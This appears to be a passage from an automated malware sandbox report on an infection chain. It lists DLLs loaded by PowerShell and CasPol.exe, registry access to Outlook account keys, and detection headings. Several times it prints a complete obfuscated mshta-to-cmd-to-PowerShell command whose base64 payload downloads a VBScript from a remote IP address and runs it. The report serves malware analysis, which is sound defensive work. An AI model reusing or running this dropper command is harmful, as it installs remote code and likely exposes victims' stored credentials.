Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: pstorec.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: vaultcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: wintypes.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: pstorec.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: cryptbase.dll

Source: C:\Windows\SysWOW64\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

PowerShell case anomaly found

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts

Source:	Binary string: dnlib.dotnet.pdb source: powershell.exe, 00000007.00000002.1944409134.00000000074BA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1942564725.0000000006F20000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.dss source: powershell.exe, 00000007.00000002.1944409134.00000000074BA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1942564725.0000000006F20000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: $^q7C:\Users\user\AppData\Local\Temp\2qf3pwzp\2qf3pwzp.pdb source: powershell.exe, 00000003.00000002.1774693140.0000000004C3D000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.managed source: powershell.exe, 00000007.00000002.1944409134.00000000074BA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1942564725.0000000006F20000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/C POWerSHeLl -ex bYPasS -NOp -w 1 -c dEVICECREdentiALdEpLOYMENT ; InvokE-EXprEssioN($(Invoke-exPREssiON('[syStem.texT.enCOdiNG]'+[cHAR]0X3A+[CHar]58+'utF8.GEtsTRING([SYsTem.coNVERt]'+[ChAr]0x3A+[CHAr]0x3a+'frOMbAsE64sTrIng('+[CHAR]34+'JGJvWG5VdSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NZU1iZXJERUZJbml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxNT04uZExsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBILHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBLb29QLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFcVosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0aWdtLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBJbmdUWWpaeFVNKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJmVmYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc1BBY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRWdOYSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRib1huVXU6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEyMy43Lzc3L3NlZXRoZWJlc3R0aGluZ3Nmb3JnZXRtZWJhY2t3aXRoZ29vZG5ld3N0aGluZ3MudElGIiwiJEVOVjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3Nmb3JnZXRtZWJhY2t3aXRoZ29vZG5ld3N0aGkudmJTIiwwLDApO1N0YVJULXNsZUVQKDMpO2luVm9rRS1FWHByRVNTaU9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcc2VldGhlYmVzdHRoaW5nc2ZvcmdldG1lYmFja3dpdGhnb29kbmV3c3RoaS52YlMi'+[ChaR]34+'))')))"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe POWerSHeLl -ex bYPasS -NOp -w 1 -c dEVICECREdentiALdEpLOYMENT ; InvokE-EXprEssioN($(Invoke-exPREssiON('[syStem.texT.enCOdiNG]'+[cHAR]0X3A+[CHar]58+'utF8.GEtsTRING([SYsTem.coNVERt]'+[ChAr]0x3A+[CHAr]0x3a+'frOMbAsE64sTrIng('+[CHAR]34+'JGJvWG5VdSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NZU1iZXJERUZJbml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxNT04uZExsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBILHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBLb29QLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFcVosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0aWdtLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBJbmdUWWpaeFVNKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJmVmYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc1BBY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRWdOYSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRib1huVXU6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEyMy43Lzc3L3NlZXRoZWJlc3R0aGluZ3Nmb3JnZXRtZWJhY2t3aXRoZ29vZG5ld3N0aGluZ3MudElGIiwiJEVOVjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3Nmb3JnZXRtZWJhY2t3aXRoZ29vZG5ld3N0aGkudmJTIiwwLDApO1N0YVJULXNsZUVQKDMpO2luVm9rRS1FWHByRVNTaU9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcc2VldGhlYmVzdHRoaW5nc2ZvcmdldG1lYmFja3dpdGhnb29kbmV3c3RoaS52YlMi'+[ChaR]34+'))')))"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/C POWerSHeLl -ex bYPasS -NOp -w 1 -c dEVICECREdentiALdEpLOYMENT ; InvokE-EXprEssioN($(Invoke-exPREssiON('[syStem.texT.enCOdiNG]'+[cHAR]0X3A+[CHar]58+'utF8.GEtsTRING([SYsTem.coNVERt]'+[ChAr]0x3A+[CHAr]0x3a+'frOMbAsE64sTrIng('+[CHAR]34+'JGJvWG5VdSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NZU1iZXJERUZJbml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxNT04uZExsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBILHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBLb29QLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFcVosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0aWdtLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBJbmdUWWpaeFVNKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJmVmYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc1BBY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRWdOYSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRib1huVXU6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEyMy43Lzc3L3NlZXRoZWJlc3R0aGluZ3Nmb3JnZXRtZWJhY2t3aXRoZ29vZG5ld3N0aGluZ3MudElGIiwiJEVOVjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3Nmb3JnZXRtZWJhY2t3aXRoZ29vZG5ld3N0aGkudmJTIiwwLDApO1N0YVJULXNsZUVQKDMpO2luVm9rRS1FWHByRVNTaU9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcc2VldGhlYmVzdHRoaW5nc2ZvcmdldG1lYmFja3dpdGhnb29kbmV3c3RoaS52YlMi'+[ChaR]34+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe POWerSHeLl -ex bYPasS -NOp -w 1 -c dEVICECREdentiALdEpLOYMENT ; InvokE-EXprEssioN($(Invoke-exPREssiON('[syStem.texT.enCOdiNG]'+[cHAR]0X3A+[CHar]58+'utF8.GEtsTRING([SYsTem.coNVERt]'+[ChAr]0x3A+[CHAr]0x3a+'frOMbAsE64sTrIng('+[CHAR]34+'JGJvWG5VdSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NZU1iZXJERUZJbml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxNT04uZExsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBILHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBLb29QLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFcVosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0aWdtLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBJbmdUWWpaeFVNKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJmVmYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc1BBY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRWdOYSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRib1huVXU6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEyMy43Lzc3L3NlZXRoZWJlc3R0aGluZ3Nmb3JnZXRtZWJhY2t3aXRoZ29vZG5ld3N0aGluZ3MudElGIiwiJEVOVjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3Nmb3JnZXRtZWJhY2t3aXRoZ29vZG5ld3N0aGkudmJTIiwwLDApO1N0YVJULXNsZUVQKDMpO2luVm9rRS1FWHByRVNTaU9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcc2VldGhlYmVzdHRoaW5nc2ZvcmdldG1lYmFja3dpdGhnb29kbmV3c3RoaS52YlMi'+[ChaR]34+'))')))"	Jump to behavior

Suspicious command line found

Source: C:\Windows\SysWOW64\mshta.exe	Process created: "C:\Windows\system32\cmd.exe" "/C POWerSHeLl -ex bYPasS -NOp -w 1 -c dEVICECREdentiALdEpLOYMENT ; InvokE-EXprEssioN($(Invoke-exPREssiON('[syStem.texT.enCOdiNG]'+[cHAR]0X3A+[CHar]58+'utF8.GEtsTRING([SYsTem.coNVERt]'+[ChAr]0x3A+[CHAr]0x3a+'frOMbAsE64sTrIng('+[CHAR]34+'JGJvWG5VdSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NZU1iZXJERUZJbml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxNT04uZExsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBILHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBLb29QLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFcVosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0aWdtLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBJbmdUWWpaeFVNKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJmVmYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc1BBY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRWdOYSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRib1huVXU6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEyMy43Lzc3L3NlZXRoZWJlc3R0aGluZ3Nmb3JnZXRtZWJhY2t3aXRoZ29vZG5ld3N0aGluZ3MudElGIiwiJEVOVjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3Nmb3JnZXRtZWJhY2t3aXRoZ29vZG5ld3N0aGkudmJTIiwwLDApO1N0YVJULXNsZUVQKDMpO2luVm9rRS1FWHByRVNTaU9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcc2VldGhlYmVzdHRoaW5nc2ZvcmdldG1lYmFja3dpdGhnb29kbmV3c3RoaS52YlMi'+[ChaR]34+'))')))"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: "C:\Windows\system32\cmd.exe" "/C POWerSHeLl -ex bYPasS -NOp -w 1 -c dEVICECREdentiALdEpLOYMENT ; InvokE-EXprEssioN($(Invoke-exPREssiON('[syStem.texT.enCOdiNG]'+[cHAR]0X3A+[CHar]58+'utF8.GEtsTRING([SYsTem.coNVERt]'+[ChAr]0x3A+[CHAr]0x3a+'frOMbAsE64sTrIng('+[CHAR]34+'JGJvWG5VdSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NZU1iZXJERUZJbml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxNT04uZExsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBILHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBLb29QLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFcVosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0aWdtLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBJbmdUWWpaeFVNKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJmVmYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc1BBY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRWdOYSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRib1huVXU6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEyMy43Lzc3L3NlZXRoZWJlc3R0aGluZ3Nmb3JnZXRtZWJhY2t3aXRoZ29vZG5ld3N0aGluZ3MudElGIiwiJEVOVjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3Nmb3JnZXRtZWJhY2t3aXRoZ29vZG5ld3N0aGkudmJTIiwwLDApO1N0YVJULXNsZUVQKDMpO2luVm9rRS1FWHByRVNTaU9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcc2VldGhlYmVzdHRoaW5nc2ZvcmdldG1lYmFja3dpdGhnb29kbmV3c3RoaS52YlMi'+[ChaR]34+'))')))"			Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe POWerSHeLl -ex bYPasS -NOp -w 1 -c dEVICECREdentiALdEpLOYMENT ; InvokE-EXprEssioN($(Invoke-exPREssiON('[syStem.texT.enCOdiNG]'+[cHAR]0X3A+[CHar]58+'utF8.GEtsTRING([SYsTem.coNVERt]'+[ChAr]0x3A+[CHAr]0x3a+'frOMbAsE64sTrIng('+[CHAR]34+'JGJvWG5VdSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NZU1iZXJERUZJbml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxNT04uZExsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBILHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBLb29QLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFcVosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0aWdtLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBJbmdUWWpaeFVNKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJmVmYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc1BBY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRWdOYSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRib1huVXU6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEyMy43Lzc3L3NlZXRoZWJlc3R0aGluZ3Nmb3JnZXRtZWJhY2t3aXRoZ29vZG5ld3N0aGluZ3MudElGIiwiJEVOVjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3Nmb3JnZXRtZWJhY2t3aXRoZ29vZG5ld3N0aGkudmJTIiwwLDApO1N0YVJULXNsZUVQKDMpO2luVm9rRS1FWHByRVNTaU9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcc2VldGhlYmVzdHRoaW5nc2ZvcmdldG1lYmFja3dpdGhnb29kbmV3c3RoaS52YlMi'+[ChaR]34+'))')))"
